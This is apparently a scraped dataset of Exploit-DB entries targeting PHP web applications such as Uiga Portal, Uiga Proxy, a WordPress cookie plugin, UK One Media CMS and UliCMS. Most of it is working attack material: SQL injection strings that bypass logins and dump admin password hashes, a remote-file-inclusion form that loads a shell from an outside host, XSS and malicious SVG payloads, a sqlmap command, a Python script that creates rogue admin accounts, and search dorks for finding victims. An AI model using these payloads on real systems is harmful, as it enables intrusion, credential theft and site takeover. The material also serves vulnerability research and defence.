deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11593
Description: Uiga Fan Club 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-27
Author: cr4wl3r

Exploit:
# Uiga Fan Club <= 1.0 (Auth Bypass) SQL Injection Vulnerability
###########################################################################
# Author: cr4wl3r
# Download: http://www.scriptdevelopers.net/download/uigafanclub.zip
###########################################################################
#if (isset($_POST['admin_name']))
# {
# $admin_name=$_POST['admin_name'];
# $admin_password=$_POST['admin_password'];
#
#
# if(empty($admin_name))
# {
# $errorMessage=warning." Username is empty!";
# }
# elseif(empty($admin_password))
# {
# $errorMessage=warning." Password is empty!";
# }
# 
# 
# else
# {
# $sql="SELECT * 
# 	   FROM admin
#	   WHERE admin_name='$admin_name' and admin_[CREDENTIAL_REDACTED]_password'";
#
###########################################################################

###############################################
PoC: [path]/admin/admin_login.php

     Username: ' or '1=1
     password: ' or '1=1
###############################################
Exploit-DB #37120
Description: Uiga FanClub - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-27
Author: Farbod Mahini

Exploit:
source: https://www.securityfocus.com/bid/53295/info

Uiga FanClub is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Patch]/index2.php?c=1&p=[SQL]
Exploit-DB #12399
Description: Uiga Personal Portal - 'index.php' 'view' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-26
Author: 41.w4r10r

Exploit:
# Exploit Title: Uiga Personal Portal index.php (view) SQL Injection
Vulnerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
http://www.scriptdevelopers.net/download/uigapersonalportal.zip
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :
# Code :



Exploited Link :

http://[site]/uigaportal/index.php?view=ar_det&exhort=-36'

Examples :

http://[site]/product/demo/uigaportal/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,gr

oup_concat(admin_name,0x3a,admin_password),8,9,10,11+from+admin--

http://[site]/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,group_concat(admin_ema

il,0x3a,admin_password),8,9,10,11+from+tbl_admin--

Important: Sometimes the table name is administrators and sometimes its
admin
Exploit-DB #11599
Description: Uiga Personal Portal - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-28
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Uiga Personal Portal index.php SQL Injection
+Autor : Easy Laster
+Date   : 28.02.2010
+Script  : Uiga Personal Portal
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/uigaportal/index.php?view=photos&id=
+Exploitable   : http://server/uigaportal/index.php?view=photos&id=-9999+
Union+Select+1,2,group_concat(admin_name,0x3a,admin_password),4,5+from+admin--
-----------------------------------------------------------------------------------------
Exploit-DB #18002
Description: Uiga Personal Portal - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-20
Author: Eyup CELIK

Exploit:
# Exploit Title: Uiga Personal Portal Multiple Vulnerability
# Date: 2011
# Author: Eyup CELIK
# Version: All Version
# Tested on: All versions are Vulnerability
# Web Site: www.eyupcelik.com.tr


ISSUE

Blind SQL Injection and XSS can be done using the command input

Vulnerable Page:
index.php
cart.php
includes/photoview.php
index2.php

Example:
index.php?exhort=%24<Blind SQL Injection Code>&view=ar_det
cart.php/<XSS Code>
includes/photoview.php/<XSS Code>
index2.php/<XSS Code>


Exploit:
index.php?exhort=%2440-2+2*3-6&view=ar_det
cart.php/"onmouseover=prompt(955787)>
includes/photoview.php/"onmouseover=prompt(955787)>
index2.php/"onmouseover=prompt(955787)>


POC:
127.0.0.1/uigaportal/index.php?exhort=%2440-2+2*3-6&view=ar_det
127.0.0.1/uigaportal/cart.php/%22onmouseover=prompt(955787)%3E
Exploit-DB #12049
Description: Uiga Proxy - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-04
Author: ITSecTeam

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ahmadbady</title>

<script language="JavaScript">

//===========================================================================
//( #Topic    : uigaproxy
//( #Bug type : remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
   
//---------------------------------------------------------------------


   var path="/uigaproxy/include/"
   var file="template.php"
   var variable ="?content="
   var shell="http://ahmadbady.persiangig.com/other/a.txt?"

   function it(){
  xpl.action= document.xpl.victim.value+path+file+variable+shell;xpl.submit();
   }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#0000FF"><b>uigaproxy remote file include</b></font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <b><font face="Tahoma" size="2"><font color="#FF0000">example</font>:http://victim/path</a></font>
  	or
  	</font>
  	<font face="Tahoma" size="2" color="#000000">http://victim</font><font 
size="2" face="Tahoma"></a> <font size="2"> --></font></font></b><font 
size="2" face="Tahoma">
  	<input type="text" name="victim" size="20";"></p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
</body>

</html>
Exploit-DB #44503
Description: UK Cookie Consent - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-24
Author: B0UG

Exploit:
# Exploit Title: UK Cookie Consent v2.3.9 - Persistent Cross-Site Scripting
# Date: 2018-04-22
# Exploit Author: B0UG
# Vendor Homepage: https://catapultthemes.com/
# Software Link: https://en-gb.wordpress.org/plugins/uk-cookie-consent/#description
# Version: Tested on version 2.3.9 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-10310

I. VULNERABILITY
-------------------------
Persistent Cross-Site Scripting
 
II. BACKGROUND
-------------------------
UK Cookie Consent is a WordPress plugin which has been designed to display cookie consent notifications on a WordPress website.

III. DESCRIPTION
-------------------------
A persistent cross-site scripting vulnerability has been identified in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in a victim's web browser.

IV. PROOF OF CONCEPT
-------------------------
1) Access WordPress control panel.
2) Navigate to the 'Pages'.
3) Add a new page and insert the script you wish to inject into the page title.
4) Now navigate to 'Settings' and select 'Cookie Consent'.
5) Now click on the 'Content' tab.
6) Your injected script will now be executed.

V. IMPACT
-------------------------
An attacker can execute malicious code in a victim user's browser to perform various activities such as stealing cookies, session tokens, credentials and personal data amongst others.
 
VI. SYSTEMS AFFECTED
-------------------------
WordPress websites running "UK Cookie Consent" plugin version 2.3.9  (older versions may also be affected).
 
VII. REMEDIATION
-------------------------
Update to the latest version available. Implement a web application such as Wordfence.

VIII. DISCLOSURE TIMELINE
-------------------------
April 22, 2018 1: Vulnerability identified.
April 22, 2018 2: Informed developer of the vulnerability.
April 23, 2018 3: Developer acknowledged the vulnerability.
April 23, 2018 4: Developer issued a security patch.

Special thanks goes to the team at Catapult Themes for their fast response, great understanding and patching the issue.
Exploit-DB #13933
Description: UK One Media CMS - 'id' Error-Based SQL Injection
Type: webapps
Platform: php
Date: 2010-06-19
Author: LiquidWorm

Exploit:
					O
				       / \
				      /	  \
				     /	   \
				    /	    \
				   /	     \
				  /	      \
				 /	       \
				/		\
			       /		 \
			      /			  \
			     /			   \
			    /			    \
			   /			     \
			  /			      \
			 /			       \
			/				\
		       /				 \
		      /					  \
		     /					   \
		    /					    \
		   /					     \
		  /					      \
		 /					       \
		/						\
	       /						 \
	      /							  \
	     /							   \
	    /							    \
	   /							     \
	  /							      \
	 /							       \
	/								\
       /								 \
      /									  \
     /									   \
    /									    \
   /									     \
  /									      \
 /									       \
/										\
#################################################################################
|										|
|										| 
| UK One Media CMS (id) Error Based SQL Injection Vulnerability			|
|										|
|										|
|										|
| Summary: Content Management System (PHP+MySQL)				|
|										|
| Vendor: UK One Media - http://www.uk1media.com				|
|										|
| Desc: UK One Media CMS suffers from an sql injection vulnerability		|
| when parsing query from the id param which results in compromising		|
| the entire database structure and executing system commands.			|
|										|
| Tested on Apache 2.x (linux), PHP/5.2.11 and MySQL/4.1.22			|
|										|
|										|
---------------------------------------------------------------------------------
|										|
| GET .../viewArticle.php?id=xx%27						|
|										|
| Warning: mysql_fetch_array(): supplied argument is not a valid MySQL		|
| result resource in /home/lqwrm/public_html/xxx/include/DbConnector.php	|
| on line xx.									|
|										|
---------------------------------------------------------------------------------
|										|
|										|
|										|
| Vulnerability discovered by Gjoko 'LiquidWorm' Krstic				|
|										|
| liquidworm gmail com								|
|										|
| http://www.zeroscience.mk							|
|										|
|										|
|										|
| Advisory ID: ZSL-2010-4942							|
|										|
| Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4942.php	|
|										|
|										|
| 24.05.2010									|
|										|
|										|
#################################################################################
|										|
|										|
| Dorks:									|
|										|
|	"Web Design London by UK One Media - ecommerce - Web Hosting"		|
|	"Powered by Websoftrus CMS"						|
|										|
|										|
|										|
|										|
| Point:									|
|										|
|	http://www.example.com/viewArticle.php?id=[value]+and+1=0+[evil query]	|
|										|
|										|
|										|
|										|
#################################################################################
Exploit-DB #46741
Description: UliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-04-22
Author: Kağan EĞLENCE

Exploit:
# Exploit Title: UliCMS - 2019.2 , 2019.1 - Multiple Cross-Site Scripting
# Google Dork: intext:"by UliCMS"
# Exploit Author: Kağan EĞLENCE
# Vendor Homepage: https://en.ulicms.de/
# Version: 2019.2 , 2019.1
# CVE : CVE-2019-11398

### Vulnerability 1

Url : http://localhost/ulicms/ulicms/admin/index.php?go=test%27%20accesskey=%27X%27%20onclick=%27alert(1)
Vulnerable File : /ulicms/admin/inc/loginform.php
Request Type: GET
Vulnerable Parameter : "go"
Payload: test%27%20accesskey=%27X%27%20onclick=%27alert(1)

Result : <input type="hidden" name="go" value='asd' accesskey='X'
onclick='alert(1)'>

### Vulnerability 2

Url : http://localhost/ulicms/ulicms/admin/index.php?register=register&go=test%27%20accesskey=%27X%27%20onclick=%27alert(1)
Vulnerable File : /ulicms/admin/inc/registerform.php
Request Type: GET
Vulnerable Parameter : "go"
Payload : register=register&go=asd%27%20accesskey=%27X%27%20onclick=%27alert(1)

Result : <input type="hidden" name="go" value='asd' accesskey='X'
onclick='alert(1)'>

### Vulnerability 3 - Authenticated

Url : http://localhost/ulicms/ulicms/admin/index.php?action=favicon&error=%3Cscript%3Ealert(1)%3C/script%3E
Request Type: GET
Vulnerable Parameter : "error"
Payload : action=favicon&error=%3Cscript%3Ealert(1)%3C/script%3E

### History
=============
2019-04-13  Issue discovered
2019-04-13  Vendor contacted
2019-04-13  Vendor response and hotfix
2019-04-14  Vendor releases fixed versions
2019-04-22  Advisory release
Exploit-DB #48244
Description: UliCMS 2020.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-03-24
Author: SunCSR

Exploit:
# Exploit Title: UliCMS 2020.1 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-03-24
# Exploit Author: SunCSR
# Vendor Homepage: https://en.ulicms.de
# Software Link: https://en.ulicms.de/current_versions.html
# Version: 2020.1
# Tested on: Windows
# CVE : CVE-2020-12704

### Vulnerability : Stored Cross-Site Scripting

# Description
A stored cross-site-scripting security issue in the save page feature
Url : http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
Request Type: POST
Vulnerable Parameter : "content"
Payload : content=<script>alert('XSS')</script>

#POC
POST /ulicms/admin/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 866
Origin: http://TARGET
Connection: close
Cookie: 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7

csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb&sClass=PageController&sMethod=edit&edit_page=edit_page&page_id=20
&slug=lorem_ipsum&title=Lorem+Ipsum&alternate_title=&show_headline=1&type=page&language=de&menu=top&position=15
&parent_id=NULL&active=1&target=_self&hidden=0&category_id=1&menu_image=&link_url=&link_to_language=
&meta_description=&meta_keywords=&robots=&article_author_name=&article_author_email=&article_date=&excerpt=&og_title=
&og_description=&og_image=&list_type=null&list_language=&list_category=0&list_menu=&list_parent=&list_order_by=title
&list_order_direction=asc&limit=0&list_use_pagination=0&module=null&video=&audio=&image_url=
&text_position=before&article_image=&author_id=1&group_id=1&comments_enabled=null&cache_control=auto&theme=
&access%5B%5D=all&custom_data=%7B%7D&content=<script>alert('XSS')</script>&csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb

### History
=============
2019-03-18  Issue discovered
2019-04-18  Vendor contacted
2019-04-18  Vendor response and hotfix
2019-04-24  Vendor releases fixed versions
Exploit-DB #51486
Description: Ulicms 2023.1 - create admin user via mass assignment
Type: webapps
Platform: php
Date: 2023-05-25
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: Ulicms 2023.1 - create admin user via mass assignment
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs:   create admin user via mass assignment
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

##This code is written in python and helps to create an admin account on ulicms-2023.1-sniffing-vicuna

import requests

new_name=input("name: ")
new_email=input("email: ")
new_pass=input("password: ")

url = "http://localhost/dist/admin/index.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}

data = f"sClass=UserController&sMethod=create&add_admin=add_admin&username={new_name}&firstname={new_name}&lastname={new_name}&email={new_email}&password={new_pass}&password_repeat={new_pass}&group_id=1&admin=1&default_language="

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Request is success and created new admin account")
    
else:
    print("Request is failure.!!")
    
    
#POC video : https://youtu.be/SCkRJzJ0FVk
Exploit-DB #39413
Description: UliCMS v9.8.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-02-04
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2016-001
- Original release date: January 26, 2016
- Last revised:  February 02, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Time-based SQL Injection in Admin panel UliCMS <= v9.8.1

II. BACKGROUND
-------------------------
UliCMS is a modern web content management solution from Germany, that
attempts to make web content management more easier.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable "country_blacklist" on
the page "action=spam_filter".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

/ulicms/admin/?action=spam_filter

(POST)
spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes

POC using SQLMap:

sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET
COOKIE HERE"
--data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes"
-p "country_blacklist" --dbms="mysql" --dbs

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
UliCMS <= v9.8.1

VII. SOLUTION
-------------------------
Install vendor patch.

VIII. REFERENCES
-------------------------
http://en.ulicms.de/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 26, 2016 1: Initial release
February 02, 2015 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
January 26, 2016 2: Send to vendor
January 28, 2016 3: Vendor fix vulnerability
February 02, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #51435
Description: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-05
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 

1. Go to media then to file (http://localhost/dist/admin/index.php?action=files)
2. upload malicious svg file

svg file content ===>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>


poc request:

POST /dist/admin/fm/upload.php HTTP/1.1
Host: localhost
Content-Length: 663
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK3CvcSs8xZwzABCl
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/dist/admin/fm/dialog.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_position=%2F;[PII_REDACTED]6f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv
Connection: close

------WebKitFormBoundaryK3CvcSs8xZwzABCl
Content-Disposition: form-data; name="fldr"


------WebKitFormBoundaryK3CvcSs8xZwzABCl
Content-Disposition: form-data; name="files[]"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryK3CvcSs8xZwzABCl--



3. Go to http://localhost/dist/content/SVG_XSS.svg